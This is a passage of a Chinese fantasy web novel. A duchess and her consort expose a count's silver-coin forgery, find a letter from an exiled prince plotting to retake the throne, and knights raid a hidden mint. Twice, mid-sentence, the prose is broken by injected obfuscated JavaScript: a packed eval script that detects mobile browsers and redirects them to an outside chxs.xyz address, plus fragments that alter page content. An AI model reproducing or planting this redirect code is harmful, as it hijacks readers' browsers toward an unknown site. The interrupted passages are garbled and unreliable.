埃蒂安·马尔尚伯爵已经在城门口等候他们多时了,北境秋冬季的冷风把他胖胖的脸吹得像是一块发霉的面包,又干又硬,面色发青。 瑟洛里恩看着他冻僵的凄惨模样,心中不禁生出几分怜悯,但这几分怜悯只持续了不到几分钟,就被对方亲自打破了:“公爵大人,亲王殿下,二位终于来啦!在下已经在这里恭候多时了。” 倒不是这些话本身有什么问题,而是马尔尚伯爵的口音——非常传统的南方贵族口音,在王都的确十分常见,但在北境听到就多少有点奇怪了。此外,对方显然没有长时间地在王都生活过,因此口音不是很标准,只是在单纯地卖弄自己的弹舌音。 希瑟显然也有同感:“你今天说话的语调很奇特,埃蒂安大人。” “是吗?”马尔尚伯爵自以为翩翩有礼地应道,“可能是因为见到了瑟洛里恩殿下,使得沉睡在我体内的祖先遗志被骤然唤醒了吧。” 瑟洛里恩也不好回答“听起来更像是做作的暴发户”,只能含蓄地表示:“你的弹舌音确实很熟练。” “哈哈,您谬赞了。”对方行了一个夸张的宫廷礼,“为了恭迎公爵大人和亲王殿下大驾光临,我早就在城堡里备好了豪华的晚宴,请允许我为二位引路。” 走进城堡后,伯爵开始滔滔不绝地谈起马尔尚家族的祖上荣光:“瑟洛里恩殿下,您还很年轻,可能没有了解过马尔尚家族在王都的悠久历史。事实上,我的曾祖父曾经是格奈乌斯国王的财政大臣,在御前会议里享有一席之地,肩上担负着为国王陛下充盈国库的艰巨责任……” 然而在转角时,希瑟在他耳边悄声道:“然后就因为滥用职权干涉土地分配而被国王贬谪了。” 瑟洛里恩一时间很想笑,但又不敢真的笑出声,强逼着自己摆出正经的表情,最后变成了一个滑稽又严肃的鬼脸,引起了马尔尚伯爵的侧目:“瑟洛里恩殿下,您怎么了?” “没、没什么……”他目光游移,“这是因为……啊,因为墙上的这幅画太特别了,让我情不自禁地盯着它……” “噢~您真是太有眼光了!”马尔尚伯爵喜不自胜,“伊薇特小姐之前也是这么说的。我本想把这幅画献给她,但那位小姐太善良了,不愿意夺人所爱。” “可以理解。”瑟洛里恩在心里翻了个白眼,嘴上却顺水推舟道,“这幅画与整条走廊的装潢可谓是相得益彰。如果我是伊薇特,肯定也不会接受这份好意。” 闻言,对方的虚荣心明显得到了极大满足:“您实在太客气了,殿下。” 希瑟也端详着这幅油画——坦诚说,画作的水平远远称不上精湛,不知是出自哪名三流画师之手。幸好马尔尚伯爵不靠交易画作挣钱,否则他一定是世界上最蹩脚的掮客。 “有意思。”片刻后,希瑟开口,“我从未见过这种黛蓝色的颜料,是从海外来的吗?” “您可真是独具慧眼,大人。”马尔尚伯爵答道,“这是海外商人带来的稀罕货,来自一个叫作阿卡德亚的古老王国。那里盛产一种叫青金石的美丽宝石,阿卡德亚人会将青金石磨成粉末,然后制成颜料,是一门极为奢侈的工艺。” 希瑟没有回答,只是面露微笑。离开前,瑟洛里恩察觉到她又回头看了一眼那幅画,目光看起来意味深长。 晚餐十分非常丰盛。首先端上来的是用于开胃的蒜香蜗牛、煎鹅肝和沙拉。葡萄酒的甜香令人陶醉,然而瑟洛里恩并没有忘记自己作为“虔诚信徒”的形象,只能忍痛拒绝,幸好一碗热腾腾的螃蟹鲜汤及时安抚了他的心灵。 主菜是一头叼着苹果的烤乳猪。瑟洛里恩一直认为这种造型颇有讽刺意味——“当你享用食物的时候,却不知道其实你也是别人的食物”,但无论有何含义,都不妨碍食物本身的美味。乳猪皮被烤得又薄又脆,上面洒满了香料,用来搭配的甜面包有着淡淡的海盐咸味,配菜是鳕鱼炖菜和烤鲭鱼。餐后甜点有肉桂馅饼和葡萄干奶酪,以及南斯特的当地特色,一种混有碎橄榄的坚果蜜饼。 但毕竟是晚宴,少不了与人交流,陆续有客人前来与他们寒暄。偶尔空闲下来时,希瑟则会为他补充一些必要的政治知识。 “相比其他城市,这里的商人行会拥有更多权力。”她解释道,“南斯特的执政官并不限定于贵族,富有的商户也可担任。当然,为了避免贿赂舞弊,执政官不能兼职行会领袖。” “听起来很……呃……”瑟洛里恩试图想出一个委婉的回答,“像是给狼戴上了项圈,然后奢望它能变成牧羊犬。” “确实有点掩耳盗铃的意思。”希瑟叹息一声,“但公允地说,贵族的道德水准不见得就高于商人,而后者至少大多都有头脑,否则不可能积累起一笔财富。” “这倒也是。” “何况商人本性逐利,贸易的繁荣能够创造更多工作的机会,也有益于当地人的生活。”她晃了晃酒杯,“凯洛家族对于南斯特的底线是禁止将北境人贩卖至海外,并且行会的垄断行为不能对普通百姓的生活造成影响。” 瑟洛里恩注意到了她暧昧的说法——“禁止将北境人贩卖至海外”,而非“禁止奴隶买卖”。他并不感到意外,毒龙劫过后紧接着又是数年动荡,北境必定损失了大量的适龄劳动力。完美高尚的品德也许是骑士的浪漫,但领主必须对国王和自己的子民负责,他们需要学会在现实面前做出妥协。 又过了一会儿,一名身着墨绿色华服的年轻男子走了过来。他身材细长,五官深邃,有着蜜色的皮肤和橄榄绿色的眼睛(让他不由得想起了胡尼),头戴一顶深色的丝绸布帽②,帽檐从他的脑袋右侧垂下,极具异域风情。 “公爵大人,亲王殿下,请容我介绍自己。”他的睫毛长而密,给人一种深情的感觉,说话时的语调仿佛吟游诗人在唱歌,“我是皮耶特罗·多梅尼科,来自遥远的亚宁。我们的总督大人对屠龙者仰慕已久,命我务必漂洋过海带来他的祝福。” 说罢,皮耶特罗拍了拍手,他身后的男仆适时地递上一个胡桃木匣子,里面是一枚精美的蓝宝石胸针。 希瑟低头凝视着它,许久都没有回应。 现场因为她的沉默而逐渐尴尬起来,皮耶特罗脸上的微笑也有点僵硬——瑟洛里恩猜他应该是那种相当擅长活跃气氛的类型,奈何希瑟不说话时的气势太过强大,让人实在没有胆量贸然开口。 良久,希瑟才低声答道:“替我感谢亚宁总督的心意。”她将蓝宝石胸针戴在瑟洛里恩胸前,“很漂亮,宝石的颜色很衬你的眼睛。” 瑟洛里恩不免感到受宠若惊,同时还有些困惑……希瑟从不吝于馈赠,但极少像这样在大庭广众下展现出来,不符合她 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在等待热水烧开的时间里,瑟洛里恩感觉胃有点难受,也不知道是因为积食,还是吃了太多海鲜的缘故。好在他目前没有什么过敏反应,于是决定先去外面散一会儿步,以便消食。 外面的天色已经完全暗了下来。虽然墙壁上有蜡烛照明,但光线依然有限,瑟洛里恩大约走过了两个转角就完全迷失了方向。 诡谲的是,他兜兜转转居然又来到了那幅油画面前……这意味着他几乎要走到城堡门口了。 瑟洛里恩默默叹了口气,正打算找一个路过的仆从或巡逻的卫兵带路,扭头却看见马尔尚伯爵提着一盏油灯从后面的走廊经过,身边跟着一名牧师——看他的服饰,应该是南斯特当地的教会牧正③。 出于某种奇妙的本能,他放轻脚步,在他们后面跟了一段路,最终目送他们走进一个房间,大概率是马尔尚伯爵的书房。 领主和牧正之间有来往并不奇怪,但修士有着严格的作息制度,现在应该是他们进行晚祷的时间,为何身为堂区管理者的牧正会跑到这里来? 在一名女仆的引导下,瑟洛里恩带着满腹疑虑回到了房间。没过多久,希瑟也回来了,他立刻向她说了这件事。 希瑟的表情似是陷入了沉思:“其实我也发现了一些不同寻常的地方。首先就是那幅画,费昆达斯④境内很难获得这种黛蓝色的颜料,而那幅画不仅大面积使用,绘制的风景还是王都。此外,颜料看着还很新,并未因为时间和湿气的影响而变色或褪色,说明画作完成的时间很近,绝非是马尔尚伯爵祖上代代流传下来的。” “水平看着挺一般的。”瑟洛里恩评价。 “不错,但看得出对方在绘画上接受过良好的教导,只可惜才能有限。”希瑟说,“经受过专业的绘画训练,又能毫不吝啬地大面积使用宝石制成的珍贵颜料,说明绘制这幅画的人必定是贵族出身,而且家族并未没落。我怀疑画师是一位费昆达斯贵族,但目前身居海外——大概率是亚宁。” “亚宁?你是说皮耶特罗?” “不,皮耶特罗显然是纯正的亚宁人,但他一定认识那名画师,甚至有可能在为其效力,否则无法解释他今天在宴会上隐晦的挑衅。” “挑衅……”瑟洛里恩有些困惑,“有吗?” 他倒是觉得那个戴帽子的男人对希瑟挺恭敬的——当然了,这也很合理。皮耶特罗的身高目测在五英尺七英寸左右,在六英尺两英寸的希瑟面前像是一条干瘪的腌鱼。瑟洛里恩相信他的妻子可以用一只手把对方的脑袋轻松捏爆,就像捏碎一颗番茄那样。 “差不多吧……对了,你刚才提供的线索也很重要。”希瑟话锋一转,“虽然眼下还有许多未解之谜,但毫无疑问的是,马尔尚伯爵的手并不干净。” 脑子看起来也不太聪明,他在心里补充道。 “我已经嘱咐哈康爵士调查近期或即将从亚宁来的商船,以及所有与皮耶特罗有过交际的人,不过……”她眉头紧蹙,“马尔尚伯爵很清楚我并非什么虔诚的教徒,如果突然拜访教会,恐怕反而会打草惊蛇。” “这个就交给我吧。”瑟洛里恩自信满满地说道,“不出意外的话,我应该会在教会住上一晚,但你不用担心,一切都在计划之内。” “在教会住一晚?为什么?” 因为我要趁夜去撬牧正书房的门锁——这种事情当然不能光明正大地说出来,他只好假惺惺地表示:“我刚好有点想念以前在教会度过的时光。” 噢,对了!希望那位牧正对漂亮的小男孩没有兴趣,否则他只好顺手多翻点东西,看看有没有文件能送他上火刑架了。 21. 第二十一章 南斯特教堂是一座典型的修道院教堂,以修道院为主体,教堂是修道院的附属设施之一,因此建筑面积远比一般的教堂要大。 “好远啊。”杰罗德小声抱怨道,“为什么马尔尚伯爵要把教堂建在那么偏僻的地方?” “首先,教堂不是马尔尚伯爵建的——至少不是这一代马尔尚伯爵建的,大型教堂的修建往往需要持续数十年。”有的甚至长达百年,例如王都的三圣一大教堂,建造时长将近两百年,“其次,南斯特教堂本质上是一座修道院。修道院是自给自足的,所以需要田地、牲畜棚和谷仓……” “所以修士还得耕地?我还以为他们每天只需要看书和祈祷呢。” “光靠这两样可填不饱肚子。”瑟洛里恩提醒道,“快到目的地了,把你的嘴缝起来。记住,若非必要情况就别开口。” 年轻人委屈地瘪着嘴,像是一只伤心的喜鹊。 瑟洛里恩不知道希瑟是否会上这种当,但他可是这个世界上最不会惯着小孩子的人了。 他们在教堂门口向一位神父表明了身份和来意,后者恭敬地请他们在原地稍等片刻,随后便匆匆离开了。 又过了一会儿,一位身材消瘦的中年修士快步走了出来,仅仅是看到他深色的修士长袍和披风前的十字银扣,瑟洛里恩就基本确定了对方是他昨晚在城堡里看见的人。 “能见到您是我的荣幸,亲王殿下。”对方约莫四十多岁,棕色眼睛,眼角略微下垂,显得敦厚而慈祥,一头卷发又黑又短,像是一层长在头皮上的苔藓,“我是马塞洛,南斯特的牧正,同时也是这座修道院的院长。” 尽管对方看着很无害,但瑟洛里恩见识过许多教会高层的真面目,知道这些修士的品性不能光凭外表和气质下判断。 “很高兴见到你,马塞洛院长。”他回以微笑,“我久仰南斯特教堂的大名,既然刚好有机会来到这座城市,自然得亲眼见识一下。更何况……您也知道,想在北境找到一座宏伟的教堂是多么不容易。” “我明白您的意思。”马塞洛看起来深以为然,“公爵大人没与您一同前来吗?” “她最近很忙。”瑟洛里恩佯装为难地答道,“而且我的妻子对于教会……并不热衷。” 马塞洛了然地点了点头,这个回答显然在他的意料之中。教会在北境的尊荣一直仅止于表面,并不像南方那样手握实权,最典型的例子就是北境禁止教会出售赎罪券。 随后,马塞洛带着他们走进了教堂——瑟洛里恩从不会用“光彩照人”来形容一座建筑,但似乎没有比这四个字更适合用来形容南斯特教堂的了。 进入教堂大门后,首先映入眼帘是宽敞明亮的主殿,六根白色的立柱两两并排,犹如巨人守卫一般共同撑起了教堂高耸的穹顶。正前方是一座大理石布道坛,石材被打磨得光滑锃亮,上面铺着绣有金线的深红色织锦,被一尊精美的银色烛台压住。 主殿的尽头是一座将近十英尺高的巨型十字架。阳光透过彩色的天窗玻璃,为受难的圣子镀上了一层斑斓柔和的色彩。十字架两侧各有一座神龛,上面绘制着圣母慈爱又略带哀愁的面庞,画工精湛,栩栩如生。 据说马尔尚伯爵为教会捐了不少钱……不得不说,效果确实肉眼可见。 然而,直到绕过十字架下方的屏风,他们才算正式抵达了目的地——教堂的主要作用是主持圣餐仪式、弥撒布道和接受信徒的祈祷,因此公众可以自由进出。假设马塞洛和马尔尚伯爵私下真的有什么交易,也只能在相对封闭的修道院进行。 修道院内部并不像教堂那样富丽堂皇,但也比寻常的修道院更加豪华,规模上也大得多。除了先前提到的田地、牲畜棚和谷仓,他们还看到了磨房、榨油间和马厩,甚至还有一座专门用于贮藏啤酒的仓库——根据马塞洛的说法,这些啤酒主要用于出售,修道院的修士仅在一些特殊节日被允许少量饮酒。 在穿过庭院时,马塞洛向他们展示了旁边一片单独开辟的草药圃,除了颠茄、牛膝草、缬草等一些常见的草药,还有薄荷和莳萝这样的香料,而且培养得相当不错。 “亚宁向我们进口了不少草药种子,但可能是气候的缘故,最后能顺利生长的很少。”马塞洛说,“当然,我们还是选育出了一些能够在北境生长的草药,但南斯特的环境恐怕已经临近极限,再往北就无法种植了。” “能有成果就很不容易了,你们把草药照顾得很好。”瑟洛里恩难得真心实意地赞美道,顺便趁对方不注意的时候打了一下杰罗德的手,以警告他不许再偷偷玩喷泉里的水。 逛了一会儿之后,他突然开口:“每座修道院都有自己珍藏的圣器和圣物,像南斯特教堂这样正统的教堂,一定也不缺这类神圣的宝物吧?” “这是肯定的。”尽管用着谦逊的口吻,但马塞洛的每一根眉毛都透露着他内心的骄傲,“南斯特教堂收藏的圣器绝不输给任何南方教堂——请千万别把这当作是我虚荣心的谎言,殿下,想必您一定与闻过《先知之卷》里提到的装着圣人之血的金钵和蒙受天父赐福的羔羊之角,如今它们都珍藏于本院的密室之中。” “是吗?这可真是太令人意外了!”瑟洛里恩顺着他的话继续道,“没想到北境居然也有教会能拥有这种珍品,不知我是否有幸得以一见?” “当然。”马塞洛欣然同意,“密室就在院长宅邸的地下,请随我来。” 不出意料,最值钱的东西往往都掌握在最位高权重的人手里。 他们来到地窖门前。瑟洛里恩看着他取出一个大铁圈,上面挂满了钥匙,假装诧异道:“这间密室居然安了那么多道锁吗?看来南斯特的治安不太好啊……” “您误会了。”马塞洛解释道,“这上面挂着的是不同房间的门锁钥匙,集中在一起主要是为了方便保管。” “噢……瞧我,想的真是太多了。”他不动声色地回答,“修道院当然还有许多重要的地方需要严密看守,大祭坛间、院长室、议事厅、藏书馆和缮写室……” “是这样的。修道院里极少遭遇偷盗,但年轻的见习修士时常会因为不熟悉院内的布局而迷路,无意间闯入自己不该进入的地方。”对方回答,“不过藏书馆的钥匙并不在我这里。我把钥匙交给了藏书馆员多纳尔修士,方便修士们每日抄写书本。” “合理的安排,继承和传播知识也是修道院的重要使命。” 而且他也不需要藏书馆的钥匙……瑟洛里恩在心里默默补充,只要院长室的钥匙在这个铁圈上就行了。 耗费了漫长的时间陪马塞洛牧正一一鉴赏完密室里的圣器珍宝之后,他适时地提出自己想在修道院住一晚上。 “自从来到北境后,我就一直很想念过去在教会度过的时光。”可能是因为昨晚才用类似的理由搪塞过希瑟,瑟洛里恩感觉自己说起这些话来更加脸不红心不跳了。 马塞洛自然不会拒绝(当然也拒绝不了),瑟洛里恩顺势问到修道院的作息表,确认了每日晚上五点到七点是修道院的晚祷时间。 下午,他故意在草药房和藏书馆里拖了点时间,但可能是习惯所致,马塞洛还是坚持把钥匙圈放回了卧室,并将卧室门上了锁才赶去小圣堂。 ……好吧,走捷径果然是不行的,劳动的果实还是得靠一双勤劳的双手来获取。 瑟洛里恩把杰罗德打发去小圣堂望风,然后偷偷来到院长宅邸的二楼,拿出了提前准备好的铁针——不同于院长室和密室,院长卧室的门锁和普通修士的宿舍门锁是一样的,撬起来非常简单,甚至花不了他五分钟。 钥匙圈就挂在卧室的墙壁上,他花了点时间将钥匙一一试过,试到第四把时就顺利打开了院长室的大门。 瑟洛里恩允许自己短暂地沉浸在胜利的喜悦中,旋即飞快查看了一下窗户的位置,确认院长室里的亮光不会被下面的人察觉,才安心将烛台放到书桌上——当然是从他自己房间带过来的,蜡烛的长短也有可能暴露他的行踪。 ……唉,如果他的骑术 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14223374|149120||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 也能像小偷小摸一样熟练就好了。 院长室的桌案上没什么有价值的东西,瑟洛里恩只好打开了书桌的抽屉。第一格抽屉里有一封信,他小心翼翼地将其取出,发现信封已经被拆开过了。 “你的建议使我非常触动,马塞洛修士,教团武装确实是对神圣传统的复兴。”信上写道,“既然大主教麾下有光荣的拂晓骑士团,就说明教会有资格举起武器保护自己,保护无数虔诚的善男信女。可惜,凯洛公爵想必不会乐于接受这个提议,而你的猜想暂时也无法说服我。在和平年代……” 信的落款是格雷厄姆·德尔·安吉利科。 “这个名字可真是有够混搭的①……”瑟洛里恩喃喃道,“不过格雷厄姆……听起来好熟悉……” 对了,这不就是替他和希瑟主持婚礼的那位主教吗? 不过整封信里并没有提及马尔尚伯爵,应该与他此行的目的无关。 于是瑟洛里恩打开了第二格抽屉,里面有一本厚厚的书册,拿起来之后他才发现这竟然是一本账本。 就着蜡烛细细读了几页后,他得知一个令人震惊的消息——至少从半年前开始,马尔尚伯爵就与教会暗中勾结,利用慈善捐款的名义做假账,实际上这些钱大部分都被汇往了亚宁,用于“完成伟大的事业”。 至于这个“伟大的事业”究竟是什么,账本上并没有写明,然而上面所记录的巨额款项足以证明一点,那就是马尔尚伯爵和银币造假绝对脱不了干系。 南斯特并不像埃达城那样周边有银矿可以开采,所以马尔尚伯爵虽然十分富有,但除去领地税收,他的收入主要来源于对商船队的投资。既然是商业性投资,就意味着马尔尚伯爵必然会受到商人行会的限制。如果账本上的这些数字都是真实的,那么他的资产应该近乎见底了。 翻了一会儿,瑟洛里恩发现账本的尾页还夹着一封信,和之前的那封一样,已经被拆开过了。但除了隐秘的保存地点,这封信还有另一个显而易见的古怪之处——信上的内容是用古帝国语写的。 他大致扫了一眼信的开头,发现这封信实际是写给马尔尚伯爵的,这或许解释了为什么马尔尚伯爵需要马塞洛当中间人,高级修士通常都会兼修古帝国语,因为他们需要抄写和翻译那些帝国时期遗留下来的古籍。 “马尔尚大人,你的献金我已经收到了,很高兴在故国还能拥有一位像你这样忠实的朋友。我是一个重情义的人,等我重返王都夺回王位后,必定会让我的朋友获得应有的回报。” 等等——夺回王位?! 这是认真的吗?还是说马尔尚伯爵被什么人骗了…… “这些年我已经组建起了一支成型的军队,他们骁勇善战,渴望荣誉。经由萨尔瓦托雷总督的介绍,以及你的财力支持,我已经购置了三艘巨船,足以将这些士兵从亚宁运回王国。我在王都有一些忠诚的支持者,他们暗中向我汇报,阿利斯特可能察觉到了我的动作,无论他接下来打算向希瑟·凯洛开出什么条件,我希望你能劝她不要同意。” 怎么还有希瑟的事情? 也不知道阿利斯特究竟向她提出了什么条件……难道是关于玛丽昂夫人的? “另外,既然要掀起一场战争,军队的人数自然是越多越好。在我荣归故国之前,希望你能代我谈拢几支雇佣军。告诉这些人,他们在为未来的国王服务,他们的所有贡献最终都将获得巨大的回报,就像你一样,马尔尚大人。” 落款上没有名字,只有一个简单的“X”。 从这个X提到阿利斯特时的口吻来看,他们应该是同辈,并且认为自己也和他一样拥有正统的继承权……也就是说,阿利斯特的兄弟并没有全部死亡,有一名幸存的王子逃到了海外,如今正在亚宁总督的庇佑下招兵买马,意图杀回王都篡夺王位? 思绪至此,瑟洛里恩突然意识到了一件事——那个“X”并不是字母,而是古帝国语中的数字“十”,写这份信的人就是先王的第十子德西莫斯。 22. 第二十二章 哈康将毛刷放回马鞍袋里,正想询问公爵打算何时行动,抬头却看见她站在山坡高处,静静眺望着远处的废镇,神情晦涩难明。 “大人?”哈康问道,“您有什么忧虑吗?” “没什么,只是在想北境还有多少像这样废弃已久的城镇和村落……”说着,就连公爵自己都摇了摇头,“我在说什么呢。连南斯特这样繁荣的城市周边都有废镇,其他地方只会更多。” 这些废镇都是在毒龙劫爆发后被遗弃的,龙焰肆虐后只留下了焦黑的废墟和腐烂的尸骨——有些是人的,有些是牲畜的——田地里杂草丛生,人迹罕至,唯有流浪汉和强盗会偶尔栖身于此,但也不会久留。 重建城镇是一项大工程,需要先清理剩余的残垣断壁,然后新建房屋,重新划分田地,铺设出入城镇的道路和桥梁,修缮外围的栅栏墙……如果没有领主或富商的资助,哪怕当地的居民渴望重返故土,日常生活也难以为继。 哈康安慰道:“距离毒龙之死已经过去四年了,那些侥幸活下来的人们大多都在新地方扎了根,有了自己的新家。即使您下令召回村民,他们也不见得会回来。” “其他的或许是这样。”公爵评价道,“眼前的这个可不一定。” 这座废镇是哈康今天下午从附近的伐木场工人口中打听到的。据其中最年长的那位伐木工回忆,这座废镇原本叫蓝水镇,已经被废弃四年了,然而两个月前,有人向他们购买了一大批木材和煤炭,并要求他们送到这里。 虽然伐木场的工人们对此都有点摸不着头脑,但对方既然付了钱,他们就得照做。 “因为我以前有亲戚住在蓝水镇,认识去那里的路,所以送货的也是我。”老伐木工说,“镇外有一座桥,他们要求我把马车停在桥对面,所以我没能看到镇子里的情况……但我很肯定里面有您问的铁匠!因为我听到了叮叮哐哐的打铁声,非常吵,隔着老远也能听到。” “以及您之前提到的装着铁罐的马车。”伐木场工头适时地补充道,“经常有这样的马车驶向蓝水镇,基本都是从南斯特那边来的。” “那些要求你把马车停在外面的人……他们身上有武器吗?” “有!有的腰上别着马刀,有的背后拿着弓箭。”老伐木工非常激动,“他们一定是强盗!我早就向南斯特的执政官汇报过了,但根本没人理睬我,只当是一个老糊涂在胡说八道!骑士老爷,我说的都是真的,那里住着一伙强盗!” 根据伐木工的指引,哈康很快就找到了那座废弃的蓝水镇。果不其然,城镇前的桥梁处有人守岗——若是称之为强盗,他们身上的链甲未免太精良了,哈康更倾向于他们是接受过一些训练的士兵。 河流不深,他选了一处水流较浅且无人看守的河道趟了过去。经过一番巡视,可以确认整个镇子有两个入口,而且都有卫兵看守,哨塔和栅栏墙也都经过悉心修缮。可能是因为收到了凯洛公爵到来的消息,城镇的巡逻次数相当频繁,似乎做好了随时撤离的准备。 “栅栏墙都是标准的尖头圆木,不方便翻越。”哈康回忆着当时的侦查情况,“不过我绕了一圈,还是发现了一个较大的缝隙,勉强可以让人通过,但那里离蓝水镇的哨塔很近,附近也没有东西可以遮挡,一旦靠近就会被哨塔上的弓箭手发现。” “蓝水镇……”公爵咀嚼着这几个字,“很形象的名字,一听就知道附近有铜矿。” “是吗?我还以为至少得叫黄铜镇什么的呢。” “水如果和铜接触太久就会变成蓝绿色,这在铜矿场或者需要水洗大量铜矿的村庄里很常见。”她答道,“这样会让水变酸,所以不是什么好事……即使没有发生毒龙劫,这里的农作物也会越长越差,迟早有一天会被废弃。” 说罢,公爵的视线再度望向了废镇。 “四个篝火。”她说,“里面应该有二十多个人。” 而他们只有不到十个人,不过…… “我不认为这对您而言是什么大问题。”哈康回答。 “当然。”公爵轻声笑了起来,“何况这不是战争,并不需要我们剿灭所有敌人,我所忧虑的是其他事情。萨迦里人有可能伪装成雇佣兵潜伏在里面,若是一不小心杀死他们,就没有俘虏能供我们审问了。” “为什么不能直接向马尔尚伯爵问罪呢?”另一名骑士问道,“至少目前看来,种种线索都证明了他与此事有关。” “银币造假?确实如此。但与萨迦里人勾结?我想未必,至少他本人应该没有意识到这一点。如果他有这样的胆量,当初就不会在正义者之矛尚存时第一个投降了。” “您意下如何?”哈康问道。 “前后门各安排两名骑士,不要让任何人逃走。”公爵说,“我记得刚才你提到过这里有个缺口?带我去看看。” 他们来到蓝水镇的哨塔附近,秋冬季冰冷的晚风让哈康不由得打了个寒颤。他们是傍晚抵达这里的,但现在天色已经完全暗了下来,他相信公爵拖到这么晚是有理由的,只是目前他还没能搞懂她的理由是什么。 今晚夜色凄清,只有一轮孤月。这附近没有其他卫兵巡逻,只有哨塔上有火把照明。远远望去,白色的微光像是嵌在夜幕中的一颗星星,显得格外瞩目。 “哈康爵士,我一直觉得在哨塔上站岗是一件很孤独的事情,你知道是为什么吗?” 哈康对她突如其来的问题感到不解,但还没得来得及开口,就见她从箭筒里抽出一支箭,向哨塔顶端的方向拉开了弓。 哈康对于公爵的箭术当然有信心,但还是小声提醒道:“弓箭手戴着巴布塔盔①。” “我知道。” 箭矢应声射出——下一秒,他看见哨塔上的弓箭手猛地抽搐了一下,钝涩地往前踉跄了两步,仿佛被某种无形的力量抽去了浑身的骨头,最后从哨塔上摔了下来,掉进了栅栏墙外的草丛里。 “站得太高就是这样。”公爵说,“当你遭遇不测的时候,没有人能救你。” 他身旁的骑士下巴都快掉到锁骨上去了。 年轻人就是这样沉不住气,幸亏他没见过公爵把敌人拦腰砍成两段,马驮着敌人的下半身在战场上四处乱跑的场面,哈康真怕他夜里做噩梦。 不过以防万一,哈康还是走过去检查了一下对方的尸体。刚才那一箭深深扎进头盔狭窄的缝隙里,穿透了弓箭手的眼球,随后又是从高空坠落,这个人无疑已经死透了。 “现在可以进去了。”公爵说,“记住,先去找铁匠和负责人——铁匠坊的位置很好辨认,有熔炉和磨刀石的地方就是。至于这里的负责人,必然住在全镇最好的屋子里。我会从正门进入,制造一点混乱,你们趁此机会找到他们的住所,第一时间制服他们,不要让他们有机会销毁任何线索。” “可我们一共只有七个人啊。”另一名骑士有些迟疑,“如果我和哈康爵士都负责潜入,您岂不是得独自前往……” 公爵面露微笑:“而这正是计划的重点,唐纳尔爵士,我必须一个人进去。” 听到这里,哈康终于心下了然。 唐纳尔爵士踌躇了片刻,可能是想表示这么做很危险,但又不想冒犯自己的领主,只好以沉默作为同意。 哈康在某种意义上赞同他的想法,这样确实很危险——对于镇子里的人来说。 他们从木栅栏间逼仄的缝隙里挤了过去,躲在营帐的阴影里。不一会儿,城镇前门响起了几声锤头敲击盾牌的咚咚声,引起了篝火边所有人的注意。此时哈康才想起来,公爵这次出门带的既不是战斧,也不是瓦哈拉剑,而是钉头锤,她大概在出发前就有此想法了。 “投降!或者死!” 那狮子般的咆哮瞬间唤醒了哈康对于战争的久远记忆,但他没有容许自己走神太久:“我们也该行动了。” “这样真的好吗……” “我们愣在这里不动才是最不好的。”他拍了拍唐纳尔爵士的肩膀,“我去铁匠坊,你去找负责人。” 所有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14233737|149120||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 卫兵都被吸引到了前门。哈康轻手轻脚地踩过碎石和草丛,在穿过一大片白色的营帐后,他来到了一块高地,可以大致望见门口的情况。 一大群人围住了公爵,但始终与她保持着距离,有几个人正面朝向他,哈康甚至能看到他们脸上胆怯的神色——红发,碧眼,是女人,却像男人一样高大,最重要的是——盾牌上的红牛纹章,想不认出眼前这个人的真实身份实在太难了。 但也不是所有人都心生畏惧,一名戴着圆锅盔的卫兵推搡着自己的同伴:“你们愣着干什么?她只有一个人,上啊!” 后者硬是退了回去:“你疯了吗?那是屠龙者希瑟!” “那又怎么样?她只不过是一个女人!”另一名戴着护鼻头盔的卫兵回答,“真是一群懦夫,让开点!让我教你们怎么教训一个臭婆娘!” 看来计划很顺利……哈康卸下了胸口的最后一点重负,转头继续向铁匠坊前进。 可能是为了方便运送原料的马车进出,铁匠坊的位置靠近蓝水镇的后门。抵达铁匠的住所后,他用脚踢开了大门,快步冲进卧室,旋即紧紧勒住床上的人的脖子。铁匠甚至还没来得及完全清醒,挣扎着蹬了几下腿,就又晕了过去。 他用床单将铁匠绑了起来,扔回床上,随后开始调查铁匠坊内部的其他地方。门边的木桶里有一堆钱币大小的圆形铜片,旁边的陶钵里还残留着干涸了的汞银膏。 在熔炉边上,哈康还发现了一对长方形的铁制模具,两者大小一致,里面都有着圆形的凹槽。凹槽底部摸起来很粗糙,疑似是有刻痕。 因为光线不足,哈康看不清上面的图案,但他很确定这就是压铸钱币用的模具。 等哈康返回时,前门已经恢复了平静。十几名卫兵正排着队将自己的护甲和武器放进一口大木箱里,其中有几个人吸了吸鼻子,但不像是感冒,更像是在小声抽泣。当哈康靠近他们的时候,发现了他们濡湿的裤子,以及空气中弥漫着的尿骚味……很难想象几分钟前他们究竟目睹了什么。 唐纳尔爵士也压着蓝水镇的负责人回来了,和他差不多是前后脚。 哈康一边与他打招呼,一边小心翼翼地绕过这些人,并向公爵汇报:“大人,我在铁匠坊里发现了银币的压铸模具,大量铜片,还有……” 他的声音忽然轻了下来,目光直愣愣地看着地上的尸体——先前那个戴着护鼻头盔的卫兵已经死了,脸部的正中央有一处血肉模糊的凹陷,就好像有人把钝器当作小刀一样捅进了他的脸。本该用于保护鼻梁的长金属板也被砸弯了,如今好似一根尖锐的鱼钩,深深扎进了他的眉骨中间。 另一个戴圆锅盔的卫兵倒是还活着,嘴里塞满了稻草,可能是为了防止他咬舌自尽。起初,他以为对方趴在地上不动是因为后背被公爵踩着,后来发现他膝盖弯曲的角度,才意识到他的腿已经断了。 哈康忽然理解了那几名卫兵的心情。 